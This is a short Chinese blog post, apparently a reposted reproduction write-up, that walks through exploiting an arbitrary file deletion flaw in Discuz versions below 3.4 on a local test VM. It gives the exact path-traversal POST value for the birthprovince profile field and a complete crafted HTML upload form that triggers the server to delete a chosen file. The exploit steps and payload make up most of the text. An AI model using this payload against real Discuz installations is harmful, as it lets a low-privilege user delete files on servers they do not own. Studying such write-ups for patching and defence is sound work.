http://www.freebuf.com/vuls/149904.html
http://www.freebuf.com/articles/system/149810.html
漏洞影响了Discuz 3.4 以下的所有版本。
该漏洞存在于upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函数。成功上传文件会跳转执行unlink这个函数。
space是用来存用户资料的变量,只所以选择birthprovince我觉得应该是这个字段没有对输入的内容做限制。
具体原理我也是根据别人讲的理解的。
win7 64位虚拟机 + phpstudy
Discuzx32gbk.zip (在网盘里找对应文件名也行,下面链接下也行)
http://www.pc6.com/softview/SoftView_22804.html(目前使用3.2版本)
首先在网站的根文件夹里新建一个test.txt,用于测试。
这个漏洞需要申请一个普通权限的用户
在用户资料设置处post数据修改出生地的值
http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base
POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=8b257701
注意formhash的取值
由上图可以看出出生地已经修改为被删除文件的地址,下一步本地创建一个上传点页面,代码如下,注意要修改成自己的formhash值。
<form action="http://192.168.198.128/DiscuzX3.2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="8b257701"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
访问如图,任意提交一个照片,服务器上test.txt文件被删除。
复现完成。
原文:http://www.cnblogs.com/zhaijiahui/p/7653223.html